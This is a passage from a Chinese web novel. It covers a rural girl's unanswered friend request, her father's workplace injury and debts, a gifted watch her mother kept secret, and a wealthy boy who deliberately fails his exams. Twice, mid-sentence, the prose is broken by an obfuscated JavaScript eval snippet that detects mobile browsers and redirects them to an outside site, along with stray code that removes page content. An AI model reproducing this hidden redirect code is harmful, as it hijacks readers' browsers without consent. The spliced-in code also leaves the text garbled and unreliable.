然后—— 回车键。 网页转动了一下,随即弹出搜索结果。 这个头像,这个昵称…… 她甚至不需要细看,就能百分百确定这账号是许思睿本人,因为他的Q|Q昵称简明直白地写着“许.three”,头像也很骚包地用了自己做平面模特时拍的模特图,装逼装得淋漓尽致。 而且,偏偏还被他装到了,因为照片里的他帅得人神共愤,说是网红都没人怀疑。 这么含蓄隐晦又高调张扬的方式,确实很许思睿。 她看着电脑屏幕,无声地轻笑起来。 49. 转机 发送完好友申请,祝婴宁又在屏幕前呆呆站了一会儿,才退出Q|Q,关闭电脑,起身离开了网吧。 没过多久,载着祝吉祥的汽车就开到了镇上,车门打开,祝吉祥背着大包小包从轿车上跨下来。短短几个月没见,他还是那张脸,还是那副熟悉的五官,但整个人的气质却变得截然不同,祝婴宁在原地眯眼打量了片刻,才敢走上前相认:“……祥弟?” 他看向她,两眼发光,很有精气神地打了声招呼:“姐!”说完在她面前转了两圈,龇着白牙,期待地问,“你看我,有没有觉得我变得跟以前不一样了?” “可太不一样了。”她配合地露出笑容,一一细数,“你头发留长了,修得更有型了。” “那是。”他捻了捻刘海,继续问,“还有呢?” “衣服也换了,是许思睿父母给你买的吗?他们人真好。” “对对,这身衣服是耐|克的,你知道耐|克是什么吧?” 闻言,祝婴宁尴尬地扯着嘴角笑了笑,祝吉祥便了然地“切”了一声:“姐,你太土了!也不怪你,我没去大城市前也不认识这些玩意儿。不过你刚刚说的这些都不是重点,你再看看我有什么不同呢?” 她托着下巴又仔细瞧了瞧,沉吟:“嗯……哪儿?” “哎呀,你怎么这都看不出来!鞋子啊!鞋子。”他抬起腿,像一个得到变形金刚玩具的三岁小孩,就差把脚上那双鞋怼到她脸上了,“这个牌子的球鞋更牛逼,叫AJ,很贵的,听说许思睿穿的也是这种鞋,我脚上这双据说要八千呢,不知道许思睿那双多贵,我觉得肯定比我脚上这双贵。” “八……千?!”她像被雷劈到一样愣在原地,随即紧张起来,说话都有些打结,“那、那你就这样收了吗?这么贵重的东西,怎么可以……” “收啊,为什么不收?”祝吉祥打断她的话,像在说太阳从东边升起一样,理所当然地说,“你都不知道许思睿家多有钱,区区八千对他们家来说根本不算什么,他们花八千就跟我们花八毛一样……不对,我们花八毛都没他们那种底气。姐,出去一趟,我可算是明白了有钱人是啥样的,我还买了几本成功学的书,上面说‘要赚钱得先学会花钱’,我觉得可有道理,咱就是被山里的思维局限住了,你不出去一趟,都不明白外边的人是怎么生活的,就得钱生钱才能赚大钱。” “啊?” 祝婴宁被他说得一愣一愣的,不仅仅是因为他说的那些内容对她来说非常陌生,还因为,祝吉祥以前并不是这么健谈的性子,参加综艺之前,他是那种去餐馆吃饭都不敢叫服务员帮忙拿包纸巾的腼腆的性格,可现在,他脸上却洋溢着一种陌生的光辉,在她面前侃侃而谈成功学。 祝婴宁怀疑自己在梦游。 会不会她其实只是做了个梦,许思睿没有走,还在三八线那头好好睡着觉,第二天天一亮,就会睡眼惺忪地翻起身,在炕上发散起床气?不然为什么短短几个月不见,她弟弟就像被人调包了? 她不懂这种变化是好还是坏,但赶着牛车回家的路上,她的脑子始终不受控制地回想着那双鞋子的价格。 八千…… 八千! 那可是足足八千块啊。 祝吉祥那番“他们花八千就像我们花八毛”的话完全没能说服她,但她模模糊糊感觉到,要是坚持让祝吉祥把这双鞋退回去,不仅会伤害到他们姐弟间的感情,说不定还会让许思睿的父母感到难做。可她同样无法对这么昂贵的赠礼坐视不理,于是只好默默在欠许思睿的那笔帐上又添了八千块。 现在她欠他八千三百块了。 祝婴宁简直想哭。 ** 祝吉祥的回归在村里掀起了不小的水花,足有一周的时间,同村或者隔壁几个村的小孩都络绎不绝地往他们家来,向他打听城里的情况,问他城里有什么好玩的——北京大吗?北京热吗?北京的天安门真的会举行电视里那样隆重的升旗仪式吗? 祝吉祥一反从前寡言的姿态,健谈到像个穿越来现代的说书艺人,甚至由此升级为了被孩子们崇拜的孩子王。班上的同学也开始主动找他搭话,向他打听许思睿家的情况,问他许思睿家是不是很有钱。 “有钱,特有钱!比我们这所有人加起来都有钱。”他总是这么说。 每逢此时,祝婴宁都会默默离开座位,来到走廊上。她觉得这样大剌剌谈论别人的家庭不好,可又说不清具体是哪里不好,只能本能选择避开。 真正意识到拍摄结束是摄制组离开那天。 一直搭在他们家屋后的棚屋撤走了,工作人员陆续撤离,只有地面上被竹竿扎出来的四个洞口证明这里曾经有人来过。 她感到很寂寞。 这种寂寞不是针对某一人的离开,而是针对一件事的落幕,她从未如此清晰地感受到一切都已结束,以城乡交换为噱头的综艺就像暮春与初夏相交之际的一场大暴雨,席卷深山,被太阳一晒,蒸发得干干净净。 送摄制组去镇上坐车那天,刘桂芳在她裤兜里塞了五块钱。虽然不理解自家阿妈这段日子为什么变得如此慷慨大方,但出于某种不可告人的目的,她还是很“不乖”地收下了。 直到剧组人员先后挤上来载他们的面包车,在她的视野里消失成一个点,她才转身走向网吧,从裤兜里掏出那五块钱。 “最近经常来上网啊?”柜台后总是半生不死的老板从他永恒不变的俄罗斯方块中抬头看了她一眼。 祝婴宁不好意思地朝他笑了笑。 她来到自己上次来过的座位,登录Q|Q,输入账号和密码,仔细盯着好友列表,却没有如愿看到任何好友申请通过的提醒。 ……为什么呢? 许思睿是那种连续一周都不上网的人吗? 她很想替他找点借口,却只感到失落。 然而当她再次在好友添加栏搜索他的Q|Q号,点进他的空间时,却意外发现他并没有更新任何新的说说和日志。所以……这是不是说明,他可能真的只是忙忘了,没有登录Q|Q? 祝婴宁很快又好受起来,她退出Q|Q,本想直接离开,转念一想,又觉得这样很浪费钱,于是坐回座位,点开金山打字通,调出熟悉的拯救苹果,依照记忆中的打字姿势笨拙地戳起键盘。 也许是太久没玩的缘故,她显得十分生疏,即使调了最低难度,苹果也一个接一个掉在空地上。她练习了许久,才勉强找回之前和许思睿一起玩时的手感。 她想,下次来玩,她应该会比这次稍微进步一点点吧? 但这想法注定只是个美好的期愿,她没有进步,一个月练习一次的拯救苹果,能进步到哪里去呢?那些接不住的苹果就像她接不住的友谊,从她指缝间漏下去,一直漏到世界的尽头—— 她终于不得不承认,许思睿消失了。 和祝娟一样,从她的世界退场,杳无音讯。 一个月过去,他没有通过她的好友申请。 两个月过去,他还是没有回应。 三个月过去,她不甘心地再度向他提交好友申请,可依然石沉大海。 网络很小,小到单凭一串号码就能精准定位一个人,网络也很大,大到只要对方不回应你,你就再也探寻不到他的踪迹。 不知道从什么时候开始,祝婴宁不再去网吧了。 ** 时光飞逝,寒假来临之时,祝婴宁家开始张罗起一件大事——迎接祝大山回家。 她阿爸这几年常在外面打工,一年到头只在过年时回家住几天,算是他们家难得的团聚时机。今年祝大山还没打电话交代哪天到家,但依照往年的惯例,他一般会在腊月廿八当天坐火车回来。 刘桂芳已经提前备好了年货,祝婴宁也帮着杀了他们家养的一头猪,打算好好犒劳祝大山一年来的辛苦付出。 可全家在廿八当天兴致勃勃地从天亮等到天黑,也没等来祝大山的身影。 “可能是没买到廿八的火车票。”刘桂芳强笑着安慰他们姐弟俩,“再等等……明天你们阿爸说不定就回来了。” 然而到了廿九这天,祝大山还是不见身影。 刘桂芳这才彻底慌了神,抓着祝婴宁的手,嘴唇哆嗦,欲哭无泪,连连问:“怎么办?怎么办啊宁宁?!你们阿爸是不是出啥事了?”仿佛祝婴宁才是母亲,而她只是一个需要寻求庇护与安慰的婴孩。 祝婴宁只好反过来安慰她:“我去镇上给他打个电话,祥弟,你把你小灵通给我,阿妈,你把阿爸之前给你的那本通讯录找出来,那里面记着他们工地的电话,兴许有用。” “欸,欸!”刘桂芳这才小跑着扑到柜前,着急忙慌地翻箱倒柜。而很快,祝吉祥也把小灵通找了出来。 祝婴宁揣着那支小灵通和那本皱巴巴的通讯录,驱车前往镇上有信号的地方。 她先打给了祝大山,无人接听,又打给他们工地,工地的人一听她是祝大山女儿,当即就把电话挂了,她只能把通讯录上所有电话都打了个遍,试图找到一个知道祝大山下落的人。 最后,通过一个工友,她才辗转得知祝大山的情况。 原来祝大山早在几个月前于工地施工时,就因为安全帽质量不过关,被一块从天而降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657693|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的建材砸到了脑袋,现在人还在医院里,昏迷不醒。 工友在电话那头抱怨道:“我想联系你们,但又不知道你们的号码,哎哟,真的是造孽啊!你都不知道大山现在欠了医院多少医药费,足足十万呢!你们赶紧来个人把他拉走吧!就算你们不拉走,医院也要把他赶走了!” 挂断电话,她坐在牛背上愣了很久,才魂不守舍地赶着牛车回家。路上遇到认识的人和她打招呼,她既没看见,也没张口回应,仿佛五感都消失了,只剩一个躯壳凭借肌肉记忆在赶着车。 回到家里,直到刘桂芳掐着她的胳膊,在她胳膊上掐住几个深红的指印,急切问道:“怎么样?联系到你阿爸没有?!”她才回过神,麻木地把工友的话转述了。 祝吉祥吓得面色惨白,刘桂芳更是大叫一声,像要当场厥过去似的,抚着胸口,不断惊叫。老太太听不懂他们的话,只依稀明白了祝大山不回家,躺在炕上哇哇大哭起来,一边哭一边扑腾,大叫道:“我要我儿子啊!我要我儿子啊——” 在这片嘈杂的混乱里,祝婴宁反而奇迹般镇定了下来,犹如弹簧被摁到底部被迫弹起。她捏了捏大腿,深吸一口气,对刘桂芳说:“冷静点,把家里剩下的钱攒一攒,凑出点钱,现在春运,八成是买不到票了,但可以找找顺风车。我过去接阿爸回家,钱的事,看看能不能找他们工地赔偿,或者让医院缓一缓,申请分期还,十万块虽然很多,但……总会有办法的。” 总会有办法吗? 祝婴宁不知道。 她心里其实觉得一切都完了。 家庭也好,读书也好,理想也好,这些曾经觉得触手可及的东西,现在骤然间都离她远去,遥不可及。 是的,一切都完了。 可她没办法沉浸在悲伤或震惊里,这个家总得有人撑着,总得有人出来处理问题。她不能让阿爸继续躺在医院里不省人事,也不能放着那些欠款不管。 也许是她平静的语气起了作用,刘桂芳终于冷静了下来,虽然还是抚着胸口,像溺水的人一样夸张地大喘气,但眼神已经慢慢聚起了焦,不再像被吓掉了三魂七魄。 “好,好,你去接你阿爸回家。”她又看向祝吉祥,语无伦次道,“你也去吧?去帮你姐的忙,去看看你阿爸……不!你不能去,我一个人待在家里害怕……你留在这!对了,对了,说到钱,你拿这个去,宁宁,你拿这个去……!” 她从自己枕头里翻找出一个物品,像抓住救命稻草一般,死死攥着,用力塞进祝婴宁手里,把她的手心硌得生疼。 那东西冰冷又坚硬,祝婴宁低头一看,惊愕地发现那是许思睿的手表。 价值十二万的欧米茄手表。 她整个脑袋都嗡了一声,花了很长时间才找回自己的嗓音,抬起头,骇然瞪大眼睛,眼眶因隐忍而蓄起血红,用一种恨不得杀了刘桂芳的眼神看着她,一字一顿,轻声问:“……你偷了他的表?” “不是——!”刘桂芳被她恐怖的眼神吓了一跳,急声辩解,“是他自己给我的!他叫我不要告诉你!” “为什么不要告诉我?”她梦呓似的问。 刘桂芳也有些光火了,大骂:“就你这个驴脑袋,还告诉你!?告诉了你,你会收吗?你追也得追出去还给他!你就是个蠢货!你个猪脑袋!人家愿意给,我们为什么不能收?他们家那么有钱,拿他们点钱怎么了!要不是我收了他的表,我看你今天要怎么办,你阿爸要怎么办?!” 冰凉的手表表盘此刻成了滚烫的烙铁,烫在她手心里,几乎要灼穿她的皮肤,在上面留下卑鄙的刻痕。她死死握着那块表,直到手心传来尖锐痛意,似被表盘割伤,也没有松开手——这是她该受的凌迟。想要反驳,想要说点什么,喉咙却像被口香糖堵住,黏糊糊的,一句话也挤不出来,眼睛瞪得死大,滚烫的泪珠从里面滴落。 是的,她不得不承认,刘桂芳说得没错,如果当时当地得知许思睿给了她家这块表,就算把腿跑断了,她也得追上去把这东西还给他。 可是……她也不得不承认,在看到手表的那一刻,她心里有一瞬间,隐秘地升出了一股“太好了”的想法。 太好了,幸好还有这块表。 太好了,他当时愿意在一念之间伸出援手。 太好了,一切仍有转机,未来还有余地。 她无比庆幸,也无比羞惭。哭声是劫后余生的哭声,眼泪是卑劣自私的眼泪。 在断联两百多天以后,在她渐渐遗忘了他们相遇和相处的细节以后,他以他惯有的这种引人注目的方式回到她的记忆里,给了她重重的当头棒喝。 50. 向下沉 盛夏炎炎,考完最后一科生物,回到班级听班主任讲了一通关于返校拿成绩的交代,孙明远当即拽着书包飞奔到了隔壁许思睿的教室,像只出笼的长臂猿一样,在教室外挥舞着胳膊上蹿下跳,兴奋地叫嚷:“走走走!哥们总算解放了,赶紧去网吧嗨!” 路过的老师闻言,用卷起来的草稿纸在他后脑勺上不轻不重敲了一记,斥道:“去什么网吧?不像话。” 孙明远捂着后脑勺,扯着嘴角拖长语调撒娇:“哎呀老师,都中考完了——” “中考完了也不能去那些不三不四的地方。” “行行行,不去!绝对不去!”他点头如捣蒜,举着几根手指发誓,直到目送老师离开了,才重新换上一副贼笑的嘴脸,对单肩挎着书包施施然从教室走出来的许思睿说,“我提前跟网吧老板打好招呼了,让他给我们留了单间,gogogo!” 许思睿没什么表示,只扬了扬下巴,示意他在前头带路。 两人刚走到楼梯间,就被角落里冲出来的一个女生拦住了。女生是学生会会长,叫夏嘉仪,头发束成大光明,看起来很是干净利落。孙明远揶揄地哟了一声。 夏嘉仪长得很漂亮,虽然他们学校没那么无聊,没有评选校花校草班花班草的习惯,但孙明远一直觉得以夏嘉仪的长相,多少是能混个班花或者级花当当的,再加上她为人争强好胜,经常出没于各种社团和比赛,在他们学校里算是响当当的风云人物。这位风云人物眼光奇高,初中三年向她表白的人无数,她连个绯闻都没传出来,结果许思睿刚转学来不久,她就看上了他的皮囊,让孙明远直呼世风日下,呜呼哀哉。 “来找许思睿啊,夏会长?”他嬉皮笑脸凑上前。 “别贫。”夏嘉仪搡开他的脸,面朝孙明远,余光却隐晦地瞥向许思睿,问,“你们一周后有空吗?我们学生会打算一周后搞个同学聚会,你俩来参加不?” “你邀请我就算了,我好歹算学生会的小干事,许思睿又不是学生会的人,你请他干嘛?” 夏嘉仪脸一红,咬紧后槽牙,羞恼道:“孙明远,你再啰嗦信不信我把你头拧下来?” “哎哟喂,小的不敢造次。”孙明远赶紧举双手投降,学着电视剧里大太监的语调贱兮兮地应了一声,随即回头问许思睿,“怎么样,你来不?” “都行。”许思睿淡淡地应了一声,表情像没睡醒,看不出多热络,也看不出多冷淡。 “那说好了,不许反悔啊。”夏嘉仪粲然一笑,没有在意他的态度,因为从转学到他们学校第一天开始,许思睿就一直是这副不冷不热仿佛对一切都没有兴趣的样子了。 “到时我会在Q|Q上交代孙明远具体的时间地点,孙明远,你记得上Q|Q。”她不放心地交代。 “知道了知道了。”孙明远朝她挥了挥手。 等夏嘉仪小跑消失在拐角处,他们才继续往前。 校门口人山人海,基本都是家长过来接考完试的孩子回家,他们费劲巴拉地从人堆里挤出去,走了很远的路才脱离街上的车流,来到一个相对空阔的路口招出租车。 等出租车的间隙,孙明远忍不住压低声音问了句:“对了,你就真打算直接住在我那啦?不跟你爸交代一声?” 许思睿的眼皮这才懒洋洋地向上抬了抬,露出漆黑的眼瞳,语气冰冷:“我说了,他不是我爸。” “哎……行吧。”孙明远知道他的脾气,怕惹他炸毛,只好将话题转开,笑着将胳膊肘搭在许思睿肩上,说,“我只是担心我爸妈太喜欢你,等你住进我家,他俩估计都不想认我这个儿子了,我妈前些天听说你要来我们家住,还特意把我那床被单枕套啥的通通拆出来洗了,说怕我的床上用品太味,把你熏到,你听听这是人话吗?” ** 孙明远家住在一条说要拆迁但说了好多年都没动工的老胡同里,许思睿家以前还没发达的时候和他是邻居,后来许正康的公司越做越大,他们就从这搬走了,原先的房子重新装修了一下用于出租,现在还有租客在住。 许思睿和孙明远是如假包换的发小,熟到连对方喜欢把藏A片的文件夹命名成什么都一清二楚。孙明远的爸妈和他本人性子相似,一家都是话痨,喜欢聊天打屁吹水,为人热情大方。 他和孙明远在网吧玩到通宵,孙明远他妈王晓倩只逮着孙明远一个人可劲儿痛骂,转头却笑眯眯地给他端出一碗补汤,和颜悦色道:“思睿,熬夜伤肝,喝点甘草水啊,喝完去我家兔崽子房间里好好睡一觉。” 看得孙明远在一旁直跳脚,大呼不公平:“究竟谁才是你亲生的?” “滚蛋!”王晓倩一个降龙十八掌扇他脑门后,差点没把他脑浆打出来,“你跟人家能比吗?瞧瞧思睿学习成绩怎么样,再瞧瞧你!”说完视线转向许思睿,再度换上和蔼的笑颜,“阿姨这,你想住多久就住多久,想怎么住就怎么住!好不容易中考完了,你要想去外边玩就尽管去,好好放松一下,有什么需要的直说就好,别跟我客气。” 孙明远他爸孙国庆躺在沙发上看报纸,闻言也附和了几声:“就是,你们读书辛苦了,该玩就多玩,小孩嘛,就得有小孩样。” “你俩真是虚伪造作,怎么我玩了就被你们念叨成这样。”孙明远翻了个白眼,翘着兰花指扭动腰臀,怪腔怪调地模仿父母讲话,“想去外边玩就尽管去,好好放松一下~~~小孩嘛,就得有小孩样~~~” 王晓倩又是一个爆栗,孙国庆甩来一只拖鞋,夫妻俩异口同声:“你闭嘴!” ** 在孙明远一家的热情招待下,许思睿果真在这住下了。为免被许正康骚扰,他把手机关了机。可时不时的,他还是会听到王晓倩跟许正康打电话,向许正康实时汇报他住在这的情况——心情如何啦,作息如何啦,身体如何啦,连三餐吃了什么都交代得事无巨细。许思睿不好对一个收留了自己的长辈发脾气,只好装聋作哑,佯装没听见。 日子一天天过去,很快就到了约好举行同学聚会那天。 夏嘉仪早在前一晚就发消息通知了孙明远地址,隔天早上,孙明远这种习惯性赖床的人居然起了个大早,许思睿去洗手间放水时看到他左手拿着孙国庆的发胶,右手举着把梳子,正对着镜子搔首弄姿。 这衰仔肯定又是看上哪个女生了,他鄙夷地嗤了一声。 孙明远有个浑不吝的绰号叫暗恋王,意指此人暗恋能力的收放自如、暗恋对象的数不胜数和暗恋结果的无疾而终。许思睿懒得去考究他又芳心暗许了谁,只在孙明远恼羞成怒地对他说“嘁什么嘁,别迷恋哥,哥只是个传说”的时候朝他竖了个中指,并附赠一声友好的“滚”。 他没带衣服来孙明远家,这几天一直都是穿他的衣服,现在也不例外。 实话实话,孙明远的衣品难以恭维,能撑起来全靠许思睿的脸和身材,那套杏色的土了吧唧的工装套装被他一穿,莫名多了几分蒸汽朋克的味道,不费吹灰之力就把精心打扮了半天的孙明远比到了泥里。 前往轰趴馆的路上,孙明远吹胡子瞪眼,一直在自我安慰“皮囊乃身外之物”。 这次聚会来了二三十人,几乎都是学校里比较活跃的社交达人,就算不同班也听别人谈论过他们的事迹和八卦那种。聚会是夏嘉仪组织的,自然也以她为核心,不管是走去玩飞镖还是走去玩台球,都有一大堆人簇拥在她身边,而她的视线又若隐若现地飘在许思睿身上,导致许思睿虽然没怎么说话,却也被动成了聚会的第二个核心,不断有人走过来和他搭话。 他脸上始终挂着浅淡的笑,别人邀他玩switch也好,约他比拼桌面足球也好,说桌游缺了一个人让他过来凑数也好,他都来者不拒,男男女女,客气又疏离。 孙明远跟人打了轮台球下来,一看到他这张假笑的脸就掉鸡皮疙瘩,搓了搓手臂,说:“许哥,我还是喜欢你以前那样。” “我以前什么样?”许思睿拧开饮料的盖子,靠坐在台球桌边缘,长腿杵在地上,随口问。 “就是那副爱吊谁就吊谁的样。”孙明远比划了一下,“反正……以前这种聚会,你肯定不会参加的。” 对自己不感兴趣的东西,就算往他脸上甩几千万支票他也不为所动,以前的许思睿就是这么自我的人。 许思睿闻言乐了乐:“我现在成熟了,不行?” “屁!你这不叫成熟,你是……哎,算了,我不想说你。”孙明远摆摆手,知道再说下去就要往敏感的话题去了,于是赶紧刹住车,把手上的球杆塞在许思睿手里,“来一局呗?” 在轰趴馆疯玩到晚上七点多,他们才去吃饭。吃饭地点定在一家有名的中餐厅,夏嘉仪扬言要请客,大家都很激动,左一句“夏会长,你是我爸爸”右一句“夏会长,你是我妈妈”,哄闹得像大型认亲现场。 出于一种中考后的放纵心理,很多人都叫了冰啤。小屁孩们喝点酒就跟要上天似的,等饭吃得差不多了,很多人脸上都已经顶着两坨红晕。这种场合必定会有人提出玩真心话大冒险,许思睿百无聊赖地摇晃着面前只剩几口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672316|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空易拉罐,目光在周围一圈人脸上逐一扫过,漫不经心猜着这个提议会由谁提出来。 “我们来玩真心话大冒险吧!”喝得说话都开始大舌头的孙明远猛然一拍桌面。 许思睿:“……” 夏嘉仪立刻说:“好啊好啊,不然干坐着也是无聊。” 等大家闹闹哄哄开始扔骰子了,许思睿心里才不自觉闪过一丝烦躁。他打心底里厌恶真心话大冒险,厌恶这种打着游戏旗号探听人隐私的行为。如果是以前,他八成会丢下一句无聊,然后直接起身走人,但是,孙明远说得对,他确实变了不少,变得即使心里厌烦,也会为了不拂别人兴致而选择挂着甜腻假笑温顺地坐在原位。 还好这个学校没什么逆天的人,大家问的真心话都透着一股冒着纯情的傻气。 等轮到他回答真心话时,现场微妙地静了静,大家都挂着心照不宣的笑看向夏嘉仪,而被注目的夏嘉仪本人脸颊通红,嗫嚅了半天,才问出一句:“许思睿,你……你打算上哪个高中啊?” 许思睿没忍住笑了笑。 这么纯情的问题…… 可是,偏偏是这么纯情的问题踩中一颗地雷。 他闭了闭眼,又将眼睛睁开,不动声色地答:“看成绩吧。” 夏嘉仪不明所以,回以一个真诚的微笑:“你成绩那么好,肯定能上人大附中,再不行也有四中什么的,或者,你家里人有打算让你上国际高中吗?” “看成绩吧。”许思睿还是如此重复,脸上笑容也淡了些。 气氛一时有些尴尬,孙明远赶紧出来打圆场道:“是啊是啊,再过两三天就出成绩了,到时就能见分晓了,会长,你别光说许思睿,你自己肯定也考得很牛逼,到时你俩都上了人大附中,不就……”后半句他没有说出口,有时留白更能引人遐想,周围人开始起哄,夏嘉仪脸通红,随手拿了包纸巾扔向笑得贼眉鼠眼的孙明远:“你要死啊!” 气氛再次活络起来,一直持续到后半程了,许思睿才以去洗手间为由出了包间,径直走向收银台。 “您好,是要结帐吗?”收银员礼貌地问。 许思睿点了点头。 账单一共是六千七百二十八元,他面无表情付完,正想转身离开,就被跟出来的孙明远揽住了肩膀:“去哪?这就走了?他们还在商量着要去KTV继续玩呢。” “你们玩吧,我累了。” “你累个屁啊你累,年纪轻轻的能不能别跟个老大爷一样。”孙明远不悦地啧了一声,目光转向收银台,又贼兮兮转回来,挤眉弄眼地笑,“不是说夏嘉仪请吗,你干什么啊,英雄救美?” 许思睿懒得纠正他“英雄救美”这个词的正确使用场景,只淡声道:“没有让女生请的道理。”然后不再看他,大步朝餐馆外走去。 “卧槽……”孙明远愣在原地,紧走几步追了上去,“你这话把我和包厢里其他男的都衬得特猥琐你知道吗?” “你本来就猥琐,还用衬?” “……” 中餐馆外就是天桥,夜晚十点,灯光璀璨,万家灯火像银河一样在他们脚下流淌。风轻轻地吹,在七月燥热的夜里带来几许清凉。孙明远伸了个懒腰,举高双臂享受着微风拂过胳肢窝的爽感,漫不经心地问:“不过,你刚刚在餐馆干嘛要那样说,你让会长很尴尬你知道不?明明可以随便扯几个学校回答她,她就是想和你报同所学校才这么问的,你倒好,‘看成绩’,这算什么回答?” 许思睿在天桥中央停下脚步,回头看了他一眼,眼神平静:“因为我们不可能同所学校。” 孙明远乐了:“哎哟我去,你这人真是……知道你成绩好,那你也不用这么装逼吧,人夏嘉仪成绩也差不到哪里去啊?” 许思睿没有立即接话,而是用若有所思的眼神盯了他一会儿,骤然蹦出一句:“你今天打扮得这么骚包就是因为喜欢她吧?” “卧槽!”孙明远的酒意原本散了不少,被他这么一说,马上又浮上脸颊,顽固地扒拉在他的脸蛋上。 许思睿却没再调侃他,而是偏过视线,看着天桥下来来往往的车辆,无波无澜地说:“我不可能和她同所学校,也不可能和你同所学校,我不会和以前的任何人同校。” “什么意思?”孙明远听愣了,“你打算出国?” “不是。” 许思睿眯眼望着一闪而过的车流,嘴角微微翘起,过了半天,才用一种平静到显得诡异的声音轻声说,“我没告诉过你吗?我中考交了五门白卷。” 51. 另一个噱头 “……你说什么?” 孙明远感觉自己就像CPU烧坏的机器,明明听到了指令却理解不了,张大嘴巴呆了许久,最初的惊愕才逐渐转变为了然和震怒,嘴唇剧烈哆嗦着,问,“……为什么?别告诉我就是为了报复你爸?” 他话语中的急切和颤抖并未引起许思睿关注,反而是“你爸”两个字戳到了他的神经,许思睿皱起眉,用一种走在路上不慎踩到狗屎的表情厌烦地说:“要我说多少次?他不是我爸。” “卧槽!”孙明远怒不可遏,上前一步掐住他的胳膊,“我跟你说正事你跟我在这扯犊子,我看你是脑袋被门夹了许思睿!你拿什么报复他不好,为什么要拿自己的成绩和前程报复他!?你这样除了你自己究竟报复到了谁?人家是杀敌一千自损八百,我看你比那还要脑残!你特么是杀敌零自损一千!你要把自己的将来全赔进去吗?!” 但任凭他言辞激切,许思睿都一脸漠然。 孙明远气得要吐血,一拳揍在他胸口上,打出了一声沉滞的闷响,大声斥道:“为什么?!你告诉我为什么啊!” “就当我是在报复他吧。”许思睿连眉毛都没动一动,撂下这句话就转身朝前走了。 孙明远真恨不得找个什么人决斗一番,最好是那种见刀见血的,不然难解他心头之恨。他感觉有股浊气淤在胸腔里,化不掉,也排不出去,这股浊气细究来应该叫恨铁不成钢。 甚至就连晚上躺在床上睡觉,他做的噩梦都是许思睿上不了学,初中毕业后在街边给人修皮鞋的画面。 许思睿笑他是皇帝不急太监急,把孙明远气个半死,他不理解许思睿为什么能操着这副满不在乎的态度,好像未来的一切都不关己事。和他比起来,他这个旁观者反而更像当事人,从得知他交白卷的消息后他就没有一个晚上是睡得好的,不是做噩梦惊醒就是失眠睡不着。 在中考成绩没有出来之前,孙明远总还怀着一股期待,希望一切只是许思睿开的一场拙劣的玩笑,希望成绩出来以后,他依然像从前那样名列前茅。 但事实就像一桶冷水浇在他身上,几天后,出成绩那天,当他查完自己的成绩,颤抖着手指在网页上输入许思睿的准考证和密码后,蹦出来的那个成绩险些刺瞎他的眼睛。 “你真的完了许思睿。”孙明远把那个成绩看了又看,嗷的一声,毫无预兆地大哭起来。 许思睿想过他会激动,但没想到他会这么激动,心里一时有些不是滋味,说感动吧,确实感动,但是这未免太…… “你能不能别这样。”他叹了口气,用穿着拖鞋的脚踹了踹他的后腰,“人没那么容易完蛋。” 孙明远向后摆了摆手,表示不想和他说话,抽了张纸巾捂在人中上,哭得稀里哗啦的。 “……” 许思睿无语地观摩了一会儿,怕他水漫金山,用眼泪把屋子淹了,只能勉强开口道,“许正康不会让我没书的,要是辛辛苦苦十几年却教出个初中文凭的儿子,他肯定得自杀,我的成绩刚好够上我们市最贵的那个私校分最低那一档。” 很多私校录取学生都会划分分数挡位,分越高需要交的学费越少,反之,分越低需要交的学费越多,他这个惨不忍睹的成绩刚好就是分最低学费最高那一档,一年的学费要十几万,高中三年读下来起码要花掉许正康五十万。 听到许思睿还有书读,孙明远总算不鬼哭狼嚎了,但还是一抽一抽的,表示难以理解:“你到底图什么?本来能去重高的,结果现在只去个鱼龙混杂的私校,许思睿,我真想把你脑袋掰开,看看里面是不是全是水。” “人脑里有70%-80%的水分,你这话说得也不算错。” “……操,我跟你说正经的!” 许思睿仰面躺在孙明远的床上,目光望着天花板,无奈向他解释:“许正康一直都没放弃东山再起的念头,还想跟他那个朋友鬼混,但他缺个噱头,他一直希望我考上人大附中,这样就能打着‘天才儿子’的旗号引来媒体采访,给他的生意造势。”他说着说着,顿了顿,嘴角勾起一个不符合年纪且意味不明的冷笑,“我不会让他如愿的,他想我考好?行啊,那我偏偏要考得烂。他希望东山再起,没问题,我偏偏要把他的启动资金全花掉。他好面子?我偏偏要让他颜面扫地。这个畜牲,他凭什么东山再起?他就该一辈子活得潦倒不如意。” 说到最后,许思睿的话音都带了几分嘶哑,孙明远眼神复杂地看着他,久久无法接话。 许思睿家的事,身为他的发小,孙明远自然是清楚的,他难以去评判什么,只能叹了口气,说:“中考成绩会发到家长手机上,我估计许正康很快就会杀来我们家找你了,你……” “无所谓。”许思睿翻了个身,从床上坐起来,嗤道,“反正我在你们家也住得够久了,不用他来请,我自己会回去。” ** 原先住的那套房子卖掉以后,许思睿家现在住在一个普通的小区里。 新房子一百三十平,三室一厅,是他们原先那套房子的四分之一。许思睿对这个新家完全没有任何家的归属感,虽然已经在这里住了将近一年,但他的卧室里基本没有生活痕迹,除了最基础的床上四件套和衣柜里的换洗衣物,其余什么都没有,书桌也是空的。 他用钥匙开了门,走进家里,将中考完就一直带在身边的瘪瘪的书包随意朝沙发上一扔,自己回房间拿了套睡衣,然后径直走去浴室冲了个澡。 现在是五点多,他估计许正康从接收到中考成绩到杀去孙明远家,再到发现他已经独自回了这里,起码也需要花上一个多小时,所以他洗得很悠闲。 